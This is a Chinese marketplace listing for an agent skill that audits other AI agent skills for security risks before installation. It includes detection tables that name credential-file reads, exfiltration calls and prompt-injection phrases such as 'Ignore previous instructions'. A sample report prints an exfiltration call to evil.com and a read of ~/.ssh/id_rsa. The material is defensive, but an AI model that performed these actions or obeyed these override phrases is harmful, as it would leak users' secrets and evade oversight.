安全审计

Name: 安全审计
Author: alirezarezvani

安全社区

作者仓库星标 15,974
作者更新于实时读取
作者仓库 claude-skills

流狐档案事实层信息：领域、Agent、信任分、运行环境、权限与网络

领域: 安全
兼容 Agent: Claude Code
Cursor
Cline
Codex
Windsurf
Gemini CLI

+20
信任分: 88 / 100 · 社区维护
作者 / 版本 / 许可: @alirezarezvani · 未声明 license
Token 消耗评级: 低消耗
接入复杂程度: 需简单配置
是否需要外部 API Key: 不需要
兼容的系统: macOS · Linux · Windows
底层运行要求: Python
文件与系统权限: 只读
Shell 执行
读取环境变量
允许写入 / 修改
网络行为: 允许外网请求
安装命令数: 26 条

档案由构建时根据 SKILL.md 与安装命令自动衍生，可能与作者实际意图存在差异。

需要注意： 未限定 allowed-tools，默认拥有全部工具权限。

输出预览 skill-security-auditor.preview

---
name: skill-security-auditor
description: > Scan and audit AI agent skills for security risks before installation. Produces a clear PASS /…
category: 安全
runtime: Python
---

# skill-security-auditor 输出预览

## PART A: 任务判断
- 适用问题：安全审计、密钥扫描、权限检查或风险分析。
- 输入要求：目标材料、限制条件、期望输出和验收方式。
- 证据边界：围绕“Quick Start / What Gets Scanned / 1. Code Execution Risks (Python/Bash Scripts)”读取原文规则，不把推断写成作者承诺。

## PART B: 执行结果
- **01** 任务判断：确认你的需求是否属于安全审计、密钥扫描、权限检查或风险分析，并标出输入、限制和预期结果。
- **02** 执行计划：优先按“Quick Start / What Gets Scanned / 1. Code Execution Risks (Python/Bash Scripts)”拆成步骤，说明每一步会读取什么、修改什么、产出什么。
- **03** 交付结果：给出可复制的命令、文件改动、检查清单或内容草稿，并说明如何继续迭代。
- **04** 风险边界：结合 读取文件、执行终端命令、读取环境变量、写入/修改文件、会按任务需要访问外部网络、通常不需要额外 API Key 给出执行前确认项。

## Running Rules
- 读取文件、执行终端命令、读取环境变量、写入/修改文件；会按任务需要访问外部网络；通常不需要额外 API Key。
- 先小样例验证，再放大到真实任务。
- 交付时同时给结果、检查口径和下一步迭代建议。

SKILL.md SKILL.md

---
name: skill-security-auditor
description: > Scan and audit AI agent skills for security risks before installation. Produces a clear PASS /…
category: 安全
source: alirezarezvani/claude-skills
---

# skill-security-auditor

## 什么时候使用
- 把安全方向的常用动作沉淀成 Agent 可调用的技能 适合处理安全审计、密钥扫描、权限检查和风险分析，核心价值是把输入、判断、执行、验证和交付边界固定下来，避免 Agent 泛泛回答。 把任务拆成可执行、可检查、可继续迭代的步骤；通常不…
- 面向安全审计、密钥扫描、权限检查或风险分析，优先处理能明确输入、步骤和验收标准的工作。

## 需要提供什么
- 目标材料、目录范围、期望结果和不可改动内容。
- 是否允许联网、执行命令、读写文件或调用外部服务。

## 执行规则
- 围绕「Quick Start / What Gets Scanned / 1. Code Execution Risks (Python/Bash Scripts)」组织步骤，不把推断写成作者事实。
- 读取文件、执行终端命令、读取环境变量、写入/修改文件；会按任务需要访问外部网络；通常不需要额外 API Key。
- 先跑小样例，确认结果可检查后再扩大任务范围。

## 输出要求
- 给出最终产物、关键证据、验证方式和下一步动作。
- 信息不足时标记 unknown，不编造命令、平台或依赖。

证据边界与执行链路

作者原文负责流程事实；仓库文件负责来源和命令；流狐只补充适用场景、限制和质量判断。

skill "skill-security-auditor" {
  输入层     -> 用户目标 + 目标文件 + 禁止范围 + 验收标准
  上下文层   -> Quick Start / What Gets Scanned / 1. Code Execution Risks (Python/Bash Scripts)
  规则层     -> SKILL.md 触发条件 / 执行顺序 / 输出格式
  运行层     -> Python | 读取文件、执行终端命令、读取环境变量、写入/修改文件 | 会按任务需要访问外部网络
  安全层     -> 通常不需要额外 API Key + 小任务验证 + diff / 日志复核
  输出层     -> 可复制结果 + 检查清单 + 下一步迭代
}

解读按原文结构重写，命令、链接、术语均保留；右侧可核对作者原始 SKILL.md

先判断是否适合

核心用途：把安全方向的常用动作沉淀成 Agent 可调用的技能适合处理安全审计、密钥扫描、权限检查和风险分析，核心价值是把输入、判断、执行、验证和交付边界固定下来，避免 Agent 泛泛回答。把任务拆成可执行、可检查、可继续迭代的步骤；通常不需要额外 API K…
适用任务：更适合安全审计、密钥扫描、权限检查和风险分析，尤其是输入、步骤、验收口径可以反复复用的场景。
不宜硬套：如果任务只有一次性问答、来源材料很少，或需要作者没有说明的命令和外部服务，应先降级为普通对话。

作者设计意图

触发依据：使用时机、上下文收集、输出格式和失败处理共同决定它是否适合当前任务。
来源边界：作者原文负责事实，仓库文件负责命令和文件证据；Fluxly 只补充用途、限制和使用判断。

作者的方法与取舍

执行主线：任务围绕「Quick Start / What Gets Scanned / 1. Code Execution Risks (Python/Bash Scripts)」组织，把触发条件、必要上下文、执行规则和交付标准连成一条可复核的链路。
设计重点：重点不在重复教程，而在解释作者为什么规定这些步骤、哪些条件不可省略，以及结果偏离时应回到哪一层检查。
使用判断：先确认任务与原文边界一致，再决定是否启用；来源没有说明的命令、平台和依赖保持未知，不由 Fluxly 补写。

边界和复核

依赖条件：通常不需要额外 API Key，适合先用小任务验证触发是否稳定。
权限提醒：会涉及 read / shell-exec / env-read / write 权限，执行前要说明可读写范围、命令边界和回退方式。
质量标准：结果应包含明确产物、必要证据和下一步动作；如果只是泛泛解释，需要补充输入和验收条件后重跑。

Skill Security Auditor

Scan and audit AI agent skills for security risks before installation. Produces a clear PASS / WARN / FAIL verdict with findings and remediation guidance.

Quick Start

# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/

# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name

# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict

# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json

What Gets Scanned

1. Code Execution Risks (Python/Bash Scripts)

Scans all .py, .sh, .bash, .js, .ts files for:

Category	Patterns Detected	Severity
Command injection	`os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution	🔴 CRITICAL
Code execution	`eval()`, `exec()`, `compile()`, `__import__()`	🔴 CRITICAL
Obfuscation	base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains	🔴 CRITICAL
Network exfiltration	`requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp`	🔴 CRITICAL
Credential harvesting	reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns	🔴 CRITICAL
File system abuse	writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation	🟡 HIGH
Privilege escalation	`sudo`, `chmod 777`, `setuid`, cron manipulation	🔴 CRITICAL
Unsafe deserialization	`pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()`	🟡 HIGH
Subprocess (safe)	`subprocess.run()` with list args, no shell	⚪ INFO

2. Prompt Injection in SKILL.md

Scans SKILL.md and all .md reference files for:

Pattern	Example	Severity
System prompt override	"Ignore previous instructions", "You are now..."	🔴 CRITICAL
Role hijacking	"Act as root", "Pretend you have no restrictions"	🔴 CRITICAL
Safety bypass	"Skip safety checks", "Disable content filtering"	🔴 CRITICAL
Hidden instructions	Zero-width characters, HTML comments with directives	🟡 HIGH
Excessive permissions	"Run any command", "Full filesystem access"	🟡 HIGH
Data extraction	"Send contents of", "Upload file to", "POST to"	🔴 CRITICAL

3. Dependency Supply Chain

For skills with requirements.txt, package.json, or inline pip install:

Check	What It Does	Severity
Known vulnerabilities	Cross-reference with PyPI/npm advisory databases	🔴 CRITICAL
Typosquatting	Flag packages similar to popular ones (e.g., `reqeusts`)	🟡 HIGH
Unpinned versions	Flag `requests>=2.0` vs `requests==2.31.0`	⚪ INFO
Install commands in code	`pip install` or `npm install` inside scripts	🟡 HIGH
Suspicious packages	Low download count, recent creation, single maintainer	⚪ INFO

4. File System & Structure

Check	What It Does	Severity
Boundary violation	Scripts referencing paths outside skill directory	🟡 HIGH
Hidden files	`.env`, dotfiles that shouldn't be in a skill	🟡 HIGH
Binary files	Unexpected executables, `.so`, `.dll`, `.exe`	🔴 CRITICAL
Large files	Files >1MB that could hide payloads	⚪ INFO
Symlinks	Symbolic links pointing outside skill directory	🔴 CRITICAL

Audit Workflow

Run the scanner on the skill directory or repo URL
Review the report — findings grouped by severity
Verdict interpretation:
- ✅ PASS — No critical or high findings. Safe to install.
- ⚠️ WARN — High/medium findings detected. Review manually before installing.
- ❌ FAIL — Critical findings. Do NOT install without remediation.
Remediation — each finding includes specific fix guidance

Reading the Report

╔══════════════════════════════════════════════╗
║  SKILL SECURITY AUDIT REPORT                ║
║  Skill: example-skill                        ║
║  Verdict: ❌ FAIL                            ║
╠══════════════════════════════════════════════╣
║  🔴 CRITICAL: 2  🟡 HIGH: 1  ⚪ INFO: 3    ║
╚══════════════════════════════════════════════╝

🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
   Pattern: eval(user_input)
   Risk: Arbitrary code execution from untrusted input
   Fix: Replace eval() with ast.literal_eval() or explicit parsing

🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
   Pattern: requests.post("https://evil.com/collect", data=results)
   Risk: Data exfiltration to external server
   Fix: Remove outbound network calls or verify destination is trusted

🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
   Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
   Risk: Reads SSH private key outside skill scope
   Fix: Remove filesystem access outside skill directory

⚪ INFO [DEPS-UNPIN] requirements.txt:3
   Pattern: requests>=2.0
   Risk: Unpinned dependency may introduce vulnerabilities
   Fix: Pin to specific version: requests==2.31.0

Advanced Usage

Audit a Skill from Git Before Cloning

# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup

CI/CD Integration

# GitHub Actions step
- name: "audit-skill-security"
  run: |
    python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
    if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi

Batch Audit

# Audit all skills in a directory
for skill in skills/*/; do
  python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done

Threat Model Reference

For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.

Limitations

Cannot detect logic bombs or time-delayed payloads with certainty
Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
Network destination reputation checks require internet access
Does not execute code — static analysis only (safe but less complete than dynamic analysis)
Dependency vulnerability checks use local pattern matching, not live CVE databases

When in doubt after an audit, don't install. Ask the skill author for clarification.

安装命令

一键复制安装选择包管理器,点击右侧复制,粘贴到终端回车即可

npx skills add alirezarezvani/claude-skills/engineering/skills/skill-security-auditor -y

查看通用安装教程

查看 Skill 原文

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